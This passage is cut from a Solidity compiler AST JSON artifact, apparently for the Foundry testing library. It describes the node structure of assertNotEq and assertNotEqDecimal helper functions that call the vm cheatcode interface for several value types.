":"internal"},{"constant":false,"id":993,"mutability":"mutable","name":"err","nameLocation":"7372:3:1","nodeType":"VariableDeclaration","scope":1005,"src":"7358:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":992,"name":"string","nodeType":"ElementaryTypeName","src":"7358:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7328:48:1"},"returnParameters":{"id":995,"nodeType":"ParameterList","parameters":[],"src":"7399:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1023,"nodeType":"FunctionDefinition","src":"7454:158:1","nodes":[],"body":{"id":1022,"nodeType":"Block","src":"7551:61:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1017,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1007,"src":"7583:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1018,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1009,"src":"7589:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1019,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1011,"src":"7596:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":1014,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"7561:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1016,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7564:18:1","memberName":"assertNotEqDecimal","nodeType":"MemberAccess","referencedDeclaration":14325,"src":"7561:21:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256,uint256) pure external"}},"id":1020,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7561:44:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1021,"nodeType":"ExpressionStatement","src":"7561:44:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertNotEqDecimal","nameLocation":"7463:18:1","parameters":{"id":1012,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1007,"mutability":"mutable","name":"left","nameLocation":"7490:4:1","nodeType":"VariableDeclaration","scope":1023,"src":"7482:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1006,"name":"uint256","nodeType":"ElementaryTypeName","src":"7482:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1009,"mutability":"mutable","name":"right","nameLocation":"7504:5:1","nodeType":"VariableDeclaration","scope":1023,"src":"7496:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1008,"name":"uint256","nodeType":"ElementaryTypeName","src":"7496:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1011,"mutability":"mutable","name":"decimals","nameLocation":"7519:8:1","nodeType":"VariableDeclaration","scope":1023,"src":"7511:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1010,"name":"uint256","nodeType":"ElementaryTypeName","src":"7511:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"7481:47:1"},"returnParameters":{"id":1013,"nodeType":"ParameterList","parameters":[],"src":"7551:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1044,"nodeType":"FunctionDefinition","src":"7618:210:1","nodes":[],"body":{"id":1043,"nodeType":"Block","src":"7762:66:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1037,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1025,"src":"7794:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1038,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1027,"src":"7800:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1039,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1029,"src":"7807:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1040,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1031,"src":"7817:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":1034,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"7772:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1036,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7775:18:1","memberName":"assertNotEqDecimal","nodeType":"MemberAccess","referencedDeclaration":14337,"src":"7772:21:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$_t_uint256_$_t_string_memory_ptr_$returns$__$","typeString":"function (uint256,uint256,uint256,string memory) pure external"}},"id":1041,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7772:49:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1042,"nodeType":"ExpressionStatement","src":"7772:49:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertNotEqDecimal","nameLocation":"7627:18:1","parameters":{"id":1032,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1025,"mutability":"mutable","name":"left","nameLocation":"7654:4:1","nodeType":"VariableDeclaration","scope":1044,"src":"7646:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1024,"name":"uint256","nodeType":"ElementaryTypeName","src":"7646:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1027,"mutability":"mutable","name":"right","nameLocation":"7668:5:1","nodeType":"VariableDeclaration","scope":1044,"src":"7660:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1026,"name":"uint256","nodeType":"ElementaryTypeName","src":"7660:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1029,"mutability":"mutable","name":"decimals","nameLocation":"7683:8:1","nodeType":"VariableDeclaration","scope":1044,"src":"7675:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1028,"name":"uint256","nodeType":"ElementaryTypeName","src":"7675:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1031,"mutability":"mutable","name":"err","nameLocation":"7707:3:1","nodeType":"VariableDeclaration","scope":1044,"src":"7693:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":1030,"name":"string","nodeType":"ElementaryTypeName","src":"7693:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7645:66:1"},"returnParameters":{"id":1033,"nodeType":"ParameterList","parameters":[],"src":"7762:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1059,"nodeType":"FunctionDefinition","src":"7834:114:1","nodes":[],"body":{"id":1058,"nodeType":"Block","src":"7904:44:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1054,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1046,"src":"7929:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":1055,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1048,"src":"7935:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"}],"expression":{"id":1051,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"7914:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1053,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7917:11:1","memberName":"assertNotEq","nodeType":"MemberAccess","referencedDeclaration":14593,"src":"7914:14:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$returns$__$","typeString":"function (int256,int256) pure external"}},"id":1056,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7914:27:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1057,"nodeType":"ExpressionStatement","src":"7914:27:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"7843:11:1","parameters":{"id":1049,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1046,"mutability":"mutable","name":"left","nameLocation":"7862:4:1","nodeType":"VariableDeclaration","scope":1059,"src":"7855:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1045,"name":"int256","nodeType":"ElementaryTypeName","src":"7855:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":1048,"mutability":"mutable","name":"right","nameLocation":"7875:5:1","nodeType":"VariableDeclaration","scope":1059,"src":"7868:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1047,"name":"int256","nodeType":"ElementaryTypeName","src":"7868:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"7854:27:1"},"returnParameters":{"id":1050,"nodeType":"ParameterList","parameters":[],"src":"7904:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1077,"nodeType":"FunctionDefinition","src":"7954:138:1","nodes":[],"body":{"id":1076,"nodeType":"Block","src":"8043:49:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1071,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1061,"src":"8068:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":1072,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1063,"src":"8074:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":1073,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1065,"src":"8081:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":1068,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"8053:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1070,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"8056:11:1","memberName":"assertNotEq","nodeType":"MemberAccess","referencedDeclaration":14603,"src":"8053:14:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$_t_string_memory_ptr_$returns$__$","typeString":"function (int256,int256,string memory) pure external"}},"id":1074,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8053:32:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1075,"nodeType":"ExpressionStatement","src":"8053:32:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"7963:11:1","parameters":{"id":1066,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1061,"mutability":"mutable","name":"left","nameLocation":"7982:4:1","nodeType":"VariableDeclaration","scope":1077,"src":"7975:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1060,"name":"int256","nodeType":"ElementaryTypeName","src":"7975:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":1063,"mutability":"mutable","name":"right","nameLocation":"7995:5:1","nodeType":"VariableDeclaration","scope":1077,"src":"7988:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1062,"name":"int256","nodeType":"ElementaryTypeName","src":"7988:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":1065,"mutability":"mutable","name":"err","nameLocation":"8016:3:1","nodeType":"VariableDeclaration","scope":1077,"src":"8002:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":1064,"name":"string","nodeType":"ElementaryTypeName","src":"8002:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7974:46:1"},"returnParameters":{"id":1067,"nodeType":"ParameterList","parameters":[],"src":"8043:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1095,"nodeType":"FunctionDefinition","src":"8098:156:1","nodes":[],"body":{"id":1094,"nodeType":"Block","src":"8193:61:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1089,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1079,"src":"8225:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":1090,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1081,"src":"8231:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":1091,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1083,"src":"8238:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":1086,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"8203:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1088,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"8206:18:1","memberName":"assertNotEqDecimal","nodeType":"MemberAccess","referencedDeclaration":14347,"src":"8203:21:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$_t_uint256_$returns$__$","typeString":"function (int256,int256,uint256) pure external"}},"id":1092,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8203:44:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1093,"nodeType":"ExpressionStatement","src":"8203:44:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertNotEqDecimal","nameLocation":"8107:18:1","parameters":{"id":1084,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1079,"mutability":"mutable","name":"left","nameLocation":"8133:4:1","nodeType":"VariableDeclaration","scope":1095,"src":"8126:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1078,"name":"int256","nodeType":"ElementaryTypeName","src":"8126:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":1081,"mutability":"mutable","name":"right","nameLocation":"8146:5:1","nodeType":"VariableDeclaration","scope":1095,"src":"8139:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1080,"name":"int256","nodeType":"ElementaryTypeName","src":"8139:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":1083,"mutability":"mutable","name":"decimals","nameLocation":"8161:8:1","nodeType":"VariableDeclaration","scope":1095,"src":"8153:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1082,"name":"uint256","nodeType":"ElementaryTypeName","src":"8153:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8125:45:1"},"returnParameters":{"id":1085,"nodeType":"ParameterList","parameters":[],"src":"8193:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1116,"nodeType":"FunctionDefinition","src":"8260:180:1","nodes":[],"body":{"id":1115,"nodeType":"Block","src":"8374:66:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1109,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1097,"src":"8406:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":1110,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1099,"src":"8412:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":1111,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1101,"src":"8419:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1112,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1103,"src":"8429:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":1106,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"8384:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1108,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"8387:18:1","memberName":"assertNotEqDecimal","nodeType":"MemberAccess","referencedDeclaration":14359,"src":"8384:21:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$_t_uint256_$_t_string_memory_ptr_$returns$__$","typeString":"function (int256,int256,uint256,string memory) pure external"}},"id":1113,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8384:49:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1114,"nodeType":"ExpressionStatement","src":"8384:49:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertNotEqDecimal","nameLocation":"8269:18:1","parameters":{"id":1104,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1097,"mutability":"mutable","name":"left","nameLocation":"8295:4:1","nodeType":"VariableDeclaration","scope":1116,"src":"8288:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1096,"name":"int256","nodeType":"ElementaryTypeName","src":"8288:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":1099,"mutability":"mutable","name":"right","nameLocation":"8308:5:1","nodeType":"VariableDeclaration","scope":1116,"src":"8301:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1098,"name":"int256","nodeType":"ElementaryTypeName","src":"8301:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":1101,"mutability":"mutable","name":"decimals","nameLocation":"8323:8:1","nodeType":"VariableDeclaration","scope":1116,"src":"8315:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1100,"name":"uint256","nodeType":"ElementaryTypeName","src":"8315:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1103,"mutability":"mutable","name":"err","nameLocation":"8347:3:1","nodeType":"VariableDeclaration","scope":1116,"src":"8333:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":1102,"name":"string","nodeType":"ElementaryTypeName","src":"8333:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"8287:64:1"},"returnParameters":{"id":1105,"nodeType":"ParameterList","parameters":[],"src":"8374:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1131,"nodeType":"FunctionDefinition","src":"8446:116:1","nodes":[],"body":{"id":1130,"nodeType":"Block","src":"8518:44:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1126,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1118,"src":"8543:4:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":1127,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1120,"src":"8549:5:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":1123,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"8528:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1125,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"8531:11:1","memberName":"assertNotEq","nodeType":"MemberAccess","referencedDeclaration":14611,"src":"8528:14:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_address_$_t_address_$returns$__$","typeString":"function (address,address) pure external"}},"id":1128,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8528:27:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1129,"nodeType":"ExpressionStatement","src":"8528:27:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"8455:11:1","parameters":{"id":1121,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1118,"mutability":"mutable","name":"left","nameLocation":"8475:4:1","nodeType":"VariableDeclaration","scope":1131,"src":"8467:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1117,"name":"address","nodeType":"ElementaryTypeName","src":"8467:7:1","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":1120,"mutability":"mutable","name":"right","nameLocation":"8489:5:1","nodeType":"VariableDeclaration","scope":1131,"src":"8481:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1119,"name":"address","nodeType":"ElementaryTypeName","src":"8481:7:1","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"8466:29:1"},"returnParameters":{"id":1122,"nodeType":"ParameterList","parameters":[],"src":"8518:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1149,"nodeType":"FunctionDefinition","src":"8568:140:1","nodes":[],"body":{"id":1148,"nodeType":"Block","src":"8659:49:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1143,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1133,"src":"8684:4:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":1144,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1135,"src":"8690:5:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":1145,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1137,"src":"8697:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":1140,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"8669:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1142,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"8672:11:1","memberName":"assertNotEq","nodeType":"MemberAccess","referencedDeclaration":14621,"src":"8669:14:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_address_$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,address,string memory) pure external"}},"id":1146,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8669:32:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1147,"nodeType":"ExpressionStatement","src":"8669:32:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"8577:11:1","parameters":{"id":1138,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1133,"mutability":"mutable","name":"left","nameLocation":"8597:4:1","nodeType":"VariableDeclaration","scope":1149,"src":"8589:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1132,"name":"address","nodeType":"ElementaryTypeName","src":"8589:7:1","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":1135,"mutability":"mutable","name":"right","nameLocation":"8611:5:1","nodeType":"VariableDeclaration","scope":1149,"src":"8603:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1134,"name":"address","nodeType":"ElementaryTypeName","src":"8603:7:1","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":1137,"mutability":"mutable","name":"err","nameLocation":"8632:3:1","nodeType":"VariableDeclaration","scope":1149,"src":"8618:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":1136,"name":"string","nodeType":"ElementaryTypeName","src":"8618:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"8588:48:1"},"returnParameters":{"id":1139,"nodeType":"ParameterList","parameters":[],"src":"8659:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1164,"nodeType":"FunctionDefinition","src":"8714:116:1","nodes":[],"body":{"id":1163,"nodeType":"Block","src":"8786:44:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1159,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1151,"src":"8811:4:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"id":1160,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1153,"src":"8817:5:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":1156,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"8796:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract 